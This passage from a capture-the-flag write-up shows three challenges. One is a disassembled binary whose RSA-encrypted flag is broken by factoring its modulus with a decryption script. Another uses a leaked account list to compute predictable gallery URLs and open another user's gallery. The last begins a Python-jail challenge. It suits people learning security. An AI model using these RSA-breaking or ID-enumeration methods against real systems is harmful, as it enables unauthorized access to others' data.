0x100000df4      e891000000     call sym.imp.__gmpz_powm  ; floating_point pow(arithmetic x, arithmetic y);\r\n|      |    0x100000df9      488d3d9f0100.  lea rdi, qword str.Crypted:__ZX_n ; 0x100000f9f ; str.Crypted:__ZX_n ; &amp;amp;amp;amp;quot;Crypted: %ZX.&amp;amp;amp;amp;quot; @ 0x100000f9f ; const char * format\r\n|      |    0x100000e00      488d75a0       lea rsi, qword &#x5B;rbp - local_60h]\r\n|      |    0x100000e04      b000           mov al, 0\r\n|      |    0x100000e06      e85b000000     call sym.imp.__gmp_printf ; int printf(const char *format);\r\n|      |    0x100000e0b      4531c0         xor r8d, r8d\r\n|      |    0x100000e0e      488d4dc0       lea rcx, qword &#x5B;rbp - local_40h]\r\n|      |    0x100000e12      488d55e0       lea rdx, qword &#x5B;rbp - local_20h]\r\n|      |    0x100000e16      488d75a0       lea rsi, qword &#x5B;rbp - local_60h]\r\n|      |    0x100000e1a      488d7db0       lea rdi, qword &#x5B;rbp - local_50h]\r\n|      |    0x100000e1e      898554ffffff   mov dword &#x5B;rbp - local_ach], eax\r\n|      |    0x100000e24      b000           mov al, 0\r\n|      |    0x100000e26      e841000000     call sym.imp.__gmpz_clears\r\n|      |    0x100000e2b      c7459c000000.  mov dword &#x5B;rbp - local_64h], 0\r\n|      |    ; JMP XREF from 0x100000cf8 (entry0)\r\n|      `--&amp;amp;amp;amp;gt; 0x100000e32      8b459c         mov eax, dword &#x5B;rbp - local_64h]\r\n|           0x100000e35      488b0dc40100.  mov rcx, qword &#x5B;reloc.__stack_chk_guard_0] ; &#x5B;0x100001000:8]=0 LEA reloc.__stack_chk_guard_0 ; reloc.__stack_chk_guard_0\r\n|           0x100000e3c      488b09         mov rcx, qword &#x5B;rcx]\r\n|           0x100000e3f      488b55f8       mov rdx, qword &#x5B;rbp - local_8h]\r\n|           0x100000e43      4839d1         cmp rcx, rdx\r\n|           0x100000e46      898550ffffff   mov dword &#x5B;rbp - local_b0h], eax\r\n|       ,=&amp;amp;amp;amp;lt; 0x100000e4c      0f850f000000   jne 0x100000e61\r\n|       |   0x100000e52      8b8550ffffff   mov eax, dword &#x5B;rbp - local_b0h]\r\n|       |   0x100000e58      4881c4c00000.  add rsp, 0xc0\r\n|       |   0x100000e5f      5d             pop rbp\r\n|       |   0x100000e60      c3             ret\r\n\\       `-&amp;amp;amp;amp;gt; 0x100000e61      e82a000000     call sym.imp.__stack_chk_fail; void __stack_chk_fail(void);\r\n&#x5B;0x100000cc0]&amp;amp;amp;amp;gt; \r\n<\/pre>\n<p>With the command <code>pdf @ entry0<\/code> the entry-function is disassembled and we can see how the functions are used. The relevant parts in the output above are highlighted.<\/p>\n<p>At first 4 arbitrary-length integers are initalized:<\/p>\n<ol>\n<li>At <code>0x100000d01<\/code> (line 41) the function <code><b>__gmpz_init is<\/b><\/code> called to create an integers stored at <code><b>rbp - local_50h<\/b><\/code>.<\/li>\n<li>At <code>0x100000d0a<\/code> (line 43) the function <code><b>__gmpz_init is<\/b><\/code> called to create an integers stored at <code><b>rbp - local_60h<\/b><\/code>.<\/li>\n<li>At <code>0x100000d1f<\/code> (line 47) the function <code><b>__gmpz_init_set_str<\/b><\/code> is called to create an integer stored at <code><b>rbp - local_20h<\/b><\/code> and initalize it with the string <code><b>\"F66EB887F2B8A620FD03C7D0633791CB...\"<\/b><\/code>.<\/li>\n<li>At <code>0x100000d37<\/code> (line 52) the function <code><b>__gmpz_init_set_str<\/b><\/code> is called to create an integer stored at <code><b>rbp - local_40h<\/b><\/code> and initalize it with the string <code><b>\"65537\"<\/b><\/code>.<\/li>\n<\/ol>\n<p>Then at <code>0x100000d4c<\/code> (line 57) the address of the newly created integer stored at <code><b>rbp - local_50h<\/b><\/code> is also stored at <code><b>rbp - local_80h<\/b><\/code> (<code>0x100000d58<\/code>).<\/p>\n<p>The call to <code><b>__gmpz_import<\/b><\/code> at <code>0x100000dc4<\/code> (line 57) basically takes the input to the program and stores it as an integer at <code><b>rbp - local_80h<\/b><\/code>.<\/p>\n<p>Finally the function <code><b>__gmpz_powm<\/b><\/code> is called at <code>0x100000df4<\/code> (line 91) in order to calculate the crypted flag which is printed with the function <code><b>__gmp_printf<\/b><\/code> called at <code>0x100000e06<\/code> (line 95).<\/p>\n<p>Summing it all up the program looks like the following (pseudo-code):<\/p>\n<pre class=\"brush: cpp; gutter: false; title: ; notranslate\" title=\"\">\r\nmpz_t integ50;\r\nmpz_t integ60;\r\nmpz_init(integ50);\r\nmpz_init(integ60);\r\n\r\nmpz_t integ20;\r\nmpz_init_set_str(integ20, &amp;amp;amp;amp;quot;F66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51&amp;amp;amp;amp;quot;, 16);\r\n\r\nmpz_t integ40;\r\nmpz_init_set_str(integ40, &amp;amp;amp;amp;quot;65537&amp;amp;amp;amp;quot;, 10);\r\n\r\nmpz_t integ80 = integ50;\r\n\r\nlen = strlen(input);\r\nmpz_import(integ80, len, 1, 1, 0, 0, input);\r\n\r\nmpz_powm(integ60, integ50, integ40, integ20);\r\n            |        |        |        |-&amp;amp;amp;amp;gt; constant (mod)\r\n            |        |        |-&amp;amp;amp;amp;gt; 65537 (exp)\r\n            |        |-&amp;amp;amp;amp;gt; base\r\n            |-&amp;amp;amp;amp;gt; result\r\n\r\n\r\ngmp_printf(&amp;amp;amp;amp;quot;crypted: %ZX\\n&amp;amp;amp;amp;quot;, integ60);\r\n<\/pre>\n<p>Remembering that <code>integ50<\/code> and <code>integ80<\/code> refer to the same integer the program simply calculates the following equation:<\/p>\n<pre>g ^ x = y ( mod N )<\/pre>\n<p>Where:<br \/>\n<code>g<\/code> &#8211; base : this value is the input to the program and is unknown. This must be the plaintext-flag!<br \/>\n<code>x<\/code> &#8211; exponent: this value is stored in <code>integ40<\/code> which has been initialized with <code>65537<\/code>.<br \/>\n<code>y<\/code> &#8211; result : this value is stored in <code>integ60<\/code> and is printed by the program. This is the encrypted flag from the challenge description (<code>0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C<\/code>).<br \/>\n<code>N<\/code> &#8211; modulo : this value is stored in <code>integ20<\/code> which has been initialized with <code>0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51<\/code>.<\/p>\n<p>Thus all we have to do is to calculate g using a little bit math:<\/p>\n<p>Our equation &#8230;<\/p>\n<pre>g^x = y (mod N)<\/pre>\n<p>.. can be reorder to solve the equation for <code>g<\/code> using <code>phi<\/code>:<\/p>\n<pre>g = y ^ (x^-1 mod phi(N)) (mod N)<\/pre>\n<p><code>phi(N)<\/code> is defined as <code>(p-1)*(q-1)<\/code>:<\/p>\n<pre>g = y ^ (x^-1 mod (p-1)*(q-1)) (mod N)<\/pre>\n<p><code>p<\/code> and <code>q<\/code> are the factors of <code>N<\/code>. Thus <code>N = p * q<\/code>.<\/p>\n<p>So what is missing to solve the equation?<\/p>\n<p>We don&#8217;t know <code>p<\/code> and <code>q<\/code> (yet). Thus we have to factorize <code>N<\/code>.<\/p>\n<p>This is a quite challenging task because <code>N<\/code> is very large. Luckily there exists pages like http:\/\/factordb.com to help us out.<\/p>\n<p>After entering our <code>N<\/code> we get the corresponding <code>p<\/code> and <code>q<\/code>:<\/p>\n<pre>\r\n--> p = 18132985757038135691\r\n--> q = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827\r\n<\/pre>\n<p>Thus:<\/p>\n<pre>\r\nphi(N) = 18132985757038135690 * 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535826 = 12906717464348092265244629060349066959825836365560827526746812703342315470079490199626403833118069465749256760657457871243234163897200332638336853174229940\r\n<\/pre>\n<p>Now we have to calculate <code>x^-1 mod phi(N)<\/code>. This is also called the modular multiplicative inverse and can be calculated with the extended euclidean algorithm.<\/p>\n<p>The following python-script initializes all required variables with our already known values, calculates the modular multiplicative inverse and solves the equation for <code>g<\/code>:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\ndef egcd(a, b):\r\n    x,y, u,v = 0,1, 1,0\r\n    while a != 0:\r\n        q, r = b\/\/a, b%a\r\n        m, n = x-u*q, y-v*q\r\n        b,a, x,y, u,v = a,r, u,v, m,n\r\n        gcd = b\r\n    return gcd, x, y\r\n\r\n\r\ndef main():\r\n\r\n    N = 0xF66EB887F2B8A620FD03C7D0633791CB4804739CE7FE001C81E6E02783737CA21DB2A0D8AF2D10B200006D10737A0872C667AD142F90407132EFABF8E5D6BD51\r\n    p = 18132985757038135691\r\n    q = 711781150511215724435363874088486910075853913118425049972912826148221297483065007967192431613422409694054064755658564243721555532535827\r\n    e = 65537\r\n    y = 0x7A9FDCA5BB061D0D638BE1442586F3488B536399BA05A14FCAE3F0A2E5F268F2F3142D1956769497AE677A12E4D44EC727E255B391005B9ADCF53B4A74FFC34C\r\n\r\n\r\n    # compute phi(N)\r\n    phi = (p - 1) * (q - 1)\r\n\r\n    # compute modular inverse of e\r\n    gcd, x1, b = egcd(e, phi)\r\n    \r\n    # make x1 positive \r\n    x1 = x1 + phi\r\n\r\n    # decrypt flag (solve for g)\r\n    g = pow(y, x1, N)\r\n    print(g)\r\n\r\nif __name__ == &amp;amp;amp;amp;quot;__main__&amp;amp;amp;amp;quot;:\r\n    main()\r\n<\/pre>\n<p>Running the script finally reveals <code>g<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# .\/solve.py\r\n1950193263214537087126063880738805970134683456457941605829795971018850\r\n<\/pre>\n<p>Let&#8217;s convert <code>g<\/code> to hex:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~# python\r\n...\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; g = hex(1950193263214537087126063880738805970134683456457941605829795971018850)\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; g\r\n'0x485631372d35424d752d6d6744302d473753752d455973702d4d673062L'\r\n<\/pre>\n<p>Looks like ASCII, doesn&#8217;t it? \ud83d\ude42<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; import sys\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; for i in range(2, len(g)-1, 2):\r\n...   sys.stdout.write(chr(int(g&#x5B;i:i+2],16)))\r\n... \r\nHV17-5BMu-mgD0-G7Su-EYsp-Mg0b&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; \r\n<\/pre>\n<p>Done!<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-5BMu-mgD0-G7Su-EYsp-Mg0b<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day15\">Day 15: Unsafe Gallery<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: inik<\/span><br \/>\n<i>See pictures you shouldn&#8217;t see<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">The List of all Users of the Unsafe Gallery was leaked (See account list).<br \/>\nWith this list the URL to each gallery can be constructed. E.g. you find Danny&#8217;s gallery here.<\/p>\n<p>Now find the flag in Thumper&#8217;s gallery.<\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">Link to Danny&#8217;s gallery<\/span><\/p>\n<p><span style=\"color:#888888;text-decoration:underline;\">account list<\/span><\/td>\n<\/tr>\n<\/table>\n<p>The provided account list contains all gallery-users with an id, prename, name and so forth:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ cat accounts.csv | head \r\nid,prename,name,address,zip,city,email,crmId,memberType,pictureCount,galleryCount,mbUsed,logCorrelationId,advertisingId,state\r\n0,Ethan,McCullough,1259 Arborwood Circle,27299,Manchester,Ethan.McCullough@mccullough.com,12739789,silver,26,1,77,19591907,1,disabled\r\n1,Vivian,Parsons,1222 Basin Way,49195,Byromville,Vivian.Parsons@gmx.com,24818112,platin,25,1,71,14903484,7,active\r\n2,Kaitlyn,Wells,1547 Kinzel Station,44404,Gibson,K.Wells@sunflower.org,2024240,platin,28,1,77,98402385,14,active\r\n3,Dakota,Hayes,1709 Akron Trail,3063,Morrow,Dakota.Hayes@sunflower.org,98938964,gold,29,1,76,60973407,21,active\r\n4,Tristan,Clarke,581 Stephens Terrace,62095,Alamo,T.Clarke@sunflower.org,32237218,gold,13,1,38,68087773,28,active\r\n5,Haley,Sharpe,1748 Lawn Square,49681,Valdosta,Haley.Sharpe@outlook.com,92087384,silver,24,1,59,68073856,35,active\r\n6,Wendy,Mosley,1162 Mckaig Circle,82409,Omega,Wendy.Mosley@gmail.com,71594521,gold,21,1,56,15231135,40,disabled\r\n7,Cheyenne,Hooper,1032 Virginia Trail,39759,Villa Rica,C.Hooper@outlook.com,51859355,silver,22,1,57,64079480,45,disabled\r\n8,Kelly,McClain,1662 Carlton Street,32967,Cox,Kelly.McClain@gmail.com,50766454,gold,3,1,7,97619007,48,active\r\n<\/pre>\n<p>Greping for the user <code>Danny<\/code> and <code>Thumper<\/code> reveals that there are a few users called <code>Danny<\/code> \/ <code>Thumper<\/code>:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ cat accounts.csv | grep Danny | wc -l\r\n82\r\nuser@host:~$ cat accounts.csv | grep Thumper | wc -l\r\n24\r\n<\/pre>\n<p>The given link leads to the gallery of a user called <code>Danny<\/code>. The gallery is accessed with an identifier supposed to be base64-encoded:<\/p>\n<pre>http:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/<b>bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw<\/b><\/pre>\n<p>According to the challenge description the URL to each gallery can be constructed with the given account list. Our goal is to access the gallery of <code>Thumper<\/code>. Thus we have to:<\/p>\n<ol>\n<li>Understand how the URL is built from the account-data with the given example for the user <code>Danny<\/code>.<\/li>\n<li>Calculate the URL for <code>Thumper<\/code>.<\/li>\n<li>Access <code>Tumper<\/code>&#8216;s gallery and get the flag.<\/li>\n<\/ol>\n<p>At first I started by decoding the identifier which seems to be base64-encoded:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ echo &amp;amp;amp;amp;quot;bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw&amp;amp;amp;amp;quot; | base64 -d \r\nnw*b\u00e8]AW\u00b2\u00f6\u2030\u0160\u0003\u00ab@\u0016.+z\u009dE\r\n\u001bC\u00e0\u001f\u00b5h\u00b0user@host:~$\r\n<\/pre>\n<p>Ok. Obviously binary data:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ echo &amp;amp;amp;amp;quot;bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw&amp;amp;amp;amp;quot; | base64 -d &amp;amp;amp;amp;gt; id_Danny\r\nuser@host:~$ hexdump -C id_Danny  \r\n00000000  6e 77 2a 62 e8 5d 41 57  b2 f6 89 8a 03 ab 40 16  |nw*b.]AW......@.|\r\n00000010  2e 2b 7a 9d 45 0d 1b 43  e0 7f 1f b5 68 b0        |.+z.E..C....h.|\r\n0000001e\r\n<\/pre>\n<p>So we have got 30 bytes. What could this be? Since there are 30 bytes and 15 fields for every entry in the account list I thought that this two numbers might be connected. Maybe a checksum for every field is calculated and only the first 2 bytes of the checksum for each field are concatenated. Thus I wrote a python-script and tried this for md5, sha1, sha256, sha512 filtering for the user <code>Danny<\/code>:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nimport hashlib\r\nimport sys\r\n\r\nlookingFor = &amp;amp;amp;amp;quot;6e772a62e85d4157b2f6898a03ab40162e2b7a9d450d1b43e07f1fb568b0&amp;amp;amp;amp;quot;\r\n\r\ndef h1(str):\r\n  hash = hashlib.sha256()  # also try: md5, sha1, sha512, ..\r\n  hash.update(str)\r\n  return hash.hexdigest()\r\n\r\n\r\nf = open(&amp;amp;amp;amp;quot;accounts.csv&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;r&amp;amp;amp;amp;quot;)\r\n\r\nfor line in f:\r\n  arr = line.split(&amp;amp;amp;amp;quot;,&amp;amp;amp;amp;quot;)\r\n\r\n  if (arr&#x5B;1] == &amp;amp;amp;amp;quot;Danny&amp;amp;amp;amp;quot;):  # filter for user Danny\r\n\r\n    val = &amp;amp;amp;amp;quot;&amp;amp;amp;amp;quot;\r\n    for i in range(len(arr)):\r\n      hx = h1(arr&#x5B;i])\r\n      val += hx&#x5B;-4:]       # only take 2 first bytes of checksum (= 4 hex-characters)\r\n      print(&amp;amp;amp;amp;quot;--&amp;amp;amp;amp;quot; + hx)     # print total checksum for this field\r\n\r\n    print(val)             # print 2-first-byte checksum\r\n\r\n    if (val == lookingFor):\r\n      print(&amp;amp;amp;amp;quot;got it!&amp;amp;amp;amp;quot;)\r\n      print(line)\r\n      quit()\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/checksum.py\r\n--59e19706d51d39f66711c2653cd7eb1291c94d9b55eb14bda74ce4dc636d015a\r\n--662c67141c20e7f8730607d8a22aab33088f766c28101b554f1a177e22d45dc7\r\n--d9e1b51ac9805a3979ca7c91a3c612b2d5875949c994c5c0bc07947886b76eed\r\n--49646fde6246284728bdccaf79fe0f19767b42e13ae240d8ecd634a5401673d3\r\n--e0315a161f7bb60167991e203d1af74fca0f78dd5128bbcc69299ad238beb1bc\r\n--a397a143329598d443dee5ec83fc7e48b786d22f4f910e829f73446e1d7fc1b5\r\n--157b6c447acb150716f7987bff730f0bc3e3a3fa8b13572e4c8372f42ea93aa6\r\n--501b08d7fdb4e904034def4977ddcb97a08ab521b6a991b99be1e666d3e44d1a\r\n--78cde64c3e47f2cbfd9da721f54aacde33779916683c79de86962898feefac21\r\n--b17ef6d19c7a5b1ee83b907c595526dcb1eb06db8227d650d5dda0a9f4ce8cd9\r\n--6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b\r\n--31489056e0916d59fe3add79e63f095af3ffb81604691f21cad442a85c7be617\r\n--e1da35d7ff1b22fc7fbd90e6388588c1a7e3528b54bebe904bb5aef5c900355f\r\n--8d27ba37c5d810106b55f3fd6cdb35842007e88754184bfc0e6035f9bcede633\r\n--45df5ad5e0ecfa54d3226343e0e6857337494ba6e32f189d1174070665d8c659\r\n015a5dc76eed73d3b1bcc1b53aa64d1aac218cd95b4be617355fe633c659\r\n--aaf5060b9517ba4f550ee34a7f3ed7b05b6e5100a523d3e0aae05bf4f8f7ec34\r\n--662c67141c20e7f8730607d8a22aab33088f766c28101b554f1a177e22d45dc7\r\n--9bb0aacc6d51f1408ed983b84c42e941fca204de70ff5595a4d1b7cff8b22815\r\n--ce205d3d554b0ea8bd4fcb23e8af4075c312f81db895f86c0e9b7ca834080b25\r\n--33d389e41b80558d43c7fd1a35daa0c71825b6ca1ba9a1253f4f2b562e5b6a21\r\n--9bc98c413246d9911fd841165c3711da289d85a61e6030b354bee0c5c1f3abed\r\n--5ea08eb3f2b1f12a599391366c921162bed76e3689a0566bba23159248b5c235\r\n--cd20466a64eebc241e1f7b50360c7ad9c68c400b38d837642ce04f3127932dd8\r\n--6c6db489265f1e4a8c6f396a385ab5a39785a722497f6589afc11b433d0a2ddd\r\n--7902699be42c8a8e46fbbb4501726517e86b22c56a189f7625a6da49081b2451\r\n--6b86b273ff34fce19d6b804eff5a3f5747ada4eaa22f1d49c01e52ddb7875b4b\r\n--4523540f1504cd17100c4835e85b7eefd49911580f8efff0599a8f283be6b9e3\r\n--a45169bfee6ba70e774996c08f9d7a50d091fdfefd90c681c1b1a3bf65bea3f6\r\n--318c731917609d7f276fd198b928596360758b0afc5ec9e224022a2fa1403cc0\r\n--45df5ad5e0ecfa54d3226343e0e6857337494ba6e32f189d1174070665d8c659\r\nec345dc728150b256a21abedc2352dd82ddd24515b4bb9e3a3f63cc0c659\r\n...\r\n<\/pre>\n<p>The value I was looking for has not been found :\/<\/p>\n<p>Trying the same for md5, sha1, sha512 didn&#8217;t reveal anything as well.<\/p>\n<p>At this point I was quite lucky while searching through the output of the script for sha256 and stumbled upon the following line:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\n...\r\n--6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c\r\n...\r\n<\/pre>\n<p>The value is the sha256 checksum for the 7th field (<code>email<\/code>). It looks suspiciously similar to the value I am looking for:<\/p>\n<pre>\r\nsha256 email: 6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c\r\nlooking for : 6e772a62e85d4157b2f6898a03ab40162e2b7a9d450d1b43e07f1fb568b0\r\n<\/pre>\n<p>I tried different combinations with the checksums for other fields with no success. So I compared the two values again:<\/p>\n<pre>\r\nsha256 email: <span style=\"color:#0000ff;\">6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c<\/span>\r\nlooking for : <span style=\"color:#00ff00;\">6e772a62e85d4157b2f6898a03ab40162e2b7a9d<\/span><span style=\"color:#ff0000;\">???450d<\/span><span style=\"color:#00ff00;\">1b43e07f<\/span><span style=\"color:#ff0000;\">?1fb568b0<\/span>\r\n<\/pre>\n<p>So the first (long) part is equal. Then there is a gap and another equal part. Followed by another mismatch. <\/p>\n<p>I tried to reassemble how the gallery-id is created:<\/p>\n<ol>\n<li>The sha256 checksum of the email is calculated. For user Danny this is <code>6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c<\/code>.<\/li>\n<li>This value is somehow adjusted.<\/li>\n<li>The value is encoded using base64.<\/li>\n<\/ol>\n<p>Hm, what&#8217;s when we take step (3) before doing the mysterious adjustment of step (2)?<\/p>\n<p>Encoding our sha256-checksum of the email using base64:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ python\r\n...\r\n&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt;&amp;amp;amp;amp;gt; &amp;amp;amp;amp;quot;6e772a62e85d4157b2f6898a03ab40162e2b7a9d7e143f91b43e07ffc7ed5a2c&amp;amp;amp;amp;quot;.decode(&amp;amp;amp;amp;quot;hex&amp;amp;amp;amp;quot;).encode(&amp;amp;amp;amp;quot;base64&amp;amp;amp;amp;quot;)\r\n'bncqYuhdQVey9omKA6tAFi4rep1+FD+RtD4H\/8ftWiw=\\n'\r\n<\/pre>\n<p>Let&#8217;s compare this with the gallery-id:<\/p>\n<pre>\r\nsha256\/base64: bncqYuhdQVey9omKA6tAFi4rep1+FD+RtD4H\/8ftWiw=\r\ngallery-id   : bncqYuhdQVey9omKA6tAFi4rep1FDRtD4H8ftWiw\r\n<\/pre>\n<p>Now we are getting somewhere! In the gallery-id the characters <code>+<\/code>, <code>\/<\/code> and <code>=<\/code> are omitted!<\/p>\n<p>When decoding the gallery-id as a base64-string the original sha256-checksum is messed up and thus we didn&#8217;t get an exact match.<\/p>\n<p>Great! Now we know how the gallery-id is build and we can look for <code>Thumper<\/code>&#8216;s gallery \ud83d\ude42<\/p>\n<p>Because there are a few users called <code>Thumper<\/code> (24) I wrote a script to calculate the URLs for all of them:<\/p>\n<pre class=\"brush: python; title: ; notranslate\" title=\"\">\r\n#!\/usr\/bin\/python\r\n\r\nimport hashlib\r\nimport sys\r\n\r\ndef h1(str):\r\n  hash_md5 = hashlib.sha256()\r\n  hash_md5.update(str)\r\n  return hash_md5.hexdigest()\r\n\r\n\r\nf = open(&amp;amp;amp;amp;quot;accounts.csv&amp;amp;amp;amp;quot;, &amp;amp;amp;amp;quot;r&amp;amp;amp;amp;quot;)\r\n\r\nfor line in f:\r\n  arr = line.split(&amp;amp;amp;amp;quot;,&amp;amp;amp;amp;quot;)\r\n\r\n  if (arr&#x5B;1] == &amp;amp;amp;amp;quot;Thumper&amp;amp;amp;amp;quot;):\r\n    hx = h1(arr&#x5B;6])\r\n    print(hx)\r\n    b64 = hx.decode('hex').encode('base64')\r\n    uri = b64.replace('+', '').replace('\/', '').replace('=', '')\r\n    print(&amp;amp;amp;amp;quot;http:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/&amp;amp;amp;amp;quot; + uri)\r\n<\/pre>\n<p>Running the script:<\/p>\n<pre class=\"brush: bash; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ .\/urls\r\nfd2a216dc6eb8019f9513ac0b91b70d5e6aa0706b8aee3cd2098a16a5d746bee\r\nhttp:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/SohbcbrgBn5UTrAuRtw1eaqBwa4ruPNIJihal10a4\r\n\r\na58b3533d1d01ed49079e2cc52f304fe543595ee0ffff10d40cfa66f13484fdc\r\nhttp:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/pYs1M9HQHtSQeeLMUvMElQ1le4PENQMmbxNIT9w\r\n\r\nd724c5f951fb25bc6ee594e4ccf594a1c554bbb61d57b9c81dd190dc844d48ad\r\nhttp:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/1yTFVH7Jbxu5ZTkzPWUocVUu7YdV7nIHdGQ3IRNSK0\r\n\r\n...\r\n<\/pre>\n<p>We could extend the python-script to get each page and look for a flag by searching for the string HV17. Because there where only 24 URLs I looked them up by myself and finally found:<\/p>\n<p>http:\/\/challenges.hackvent.hacking-lab.com:3958\/gallery\/37qKYVMANnIdJ2V2EDberGmMz9JzS1pfRLVWaIKuBDw:<\/p>\n<p><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/thumper.png\" alt=\"\" width=\"258\" height=\"317\" class=\"alignnone size-full wp-image-291\" srcset=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/thumper.png 258w, https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/thumper-244x300.png 244w\" sizes=\"(max-width: 258px) 100vw, 258px\" \/><\/p>\n<p>Done \ud83d\ude42<\/p>\n<p>The flag is <code><span class=\"spanFlag\">HV17-el2S-0Td5-XcFi-6Wjg-J5aB<\/span><\/code>.<\/p>\n<hr \/>\n<h1 id=\"day16\">Day 16: Try to escape &#8230;<\/h1>\n<table style=\"background-color:#eeeeee;\">\n<tr>\n<td width=\"90\">\n<center><img loading=\"lazy\" decoding=\"async\" src=\"https:\/\/devel0pment.de\/wp-content\/uploads\/2018\/01\/hard_64.png\" alt=\"\" width=\"64\" height=\"64\" class=\"alignnone size-full wp-image-188\" \/><br \/>\n<\/center><\/td>\n<td><span style=\"color:#666666; font-size:smaller;\">Author: pyth0n33<\/span><br \/>\n<i>&#8230; from the snake cage<\/i><\/td>\n<\/tr>\n<tr>\n<td colspan=\"2\" style=\"padding:5px 20px 5px 20px;\">Santa programmed a secure jail to give his elves access from remote. Sadly the jail is not as secure as expected.<\/p>\n<p>nc challenges.hackvent.hacking-lab.com 1034<\/td>\n<\/tr>\n<\/table>\n<p>Let&#8217;s give it a try:<\/p>\n<pre class=\"brush: python; gutter: false; title: ; notranslate\" title=\"\">\r\nuser@host:~$ nc challenges.hackvent.hacking-lab.com 1034 \r\n                        _____\r\n                    .-'`     '.\r\n                 __\/  __       \\\\\r\n                \/  \\ \/  \\       |    ___\r\n               | \/`\\| \/`\\|      | .-'  \/^\\\/^\\\\\r\n               | \\(\/| \\(\/|      |\/     |) |)|\r\n              .-\\__\/ \\__\/       |      \\_\/\\_\/__..._\r\n      _...---'-.                \/   _              '.\r\n     \/,      ,             \\   '|  `\\                \\\\\r\n    | ))     ))           \/`|   \\    `.       \/)  \/) |\r\n    | `      `          .'       |     `-._         \/\r\n    \\                 .'         |     ,_  `--....-'\r\n     `.           __.' ,         |     \/ \/`'''`\r\n       `'-.____.-' \/  \/,         |    \/ \/\r\n           `. `-.-` .'  \\        \/   \/ |\r\n             `-.__.'|    \\      |   |  |-.\r\n                _.._|     |     \/   |  |  `'.\r\n          .-''``    |     |     |   \/  |     `-.\r\n       .'`         \/      \/     \/  |   |        '.\r\n     \/`           \/      \/     |   \/   |\\         \\\\\r\n    \/            |      |      |   |   \/\\          |\r\n   ||            |      \/      |   \/     '.        |\r\n   |\\            \\      |      \/   |       '.      \/\r\n   \\ `.           '.    \/      |    \\        '---'\/\r\n    \\  '.           `-.\/        \\    '.          \/\r\n     '.  `'.            `-._     '.__  '-._____.'--'''''--.\r\n       '-.  `'--._          `.__     `';----`              \\\\\r\n          `-.     `-.          `.&amp;amp;amp;amp;quot;'```                     ;\r\n             `'-..,_ `-.         `'-.                     \/\r\n                    '.  '.           '.                 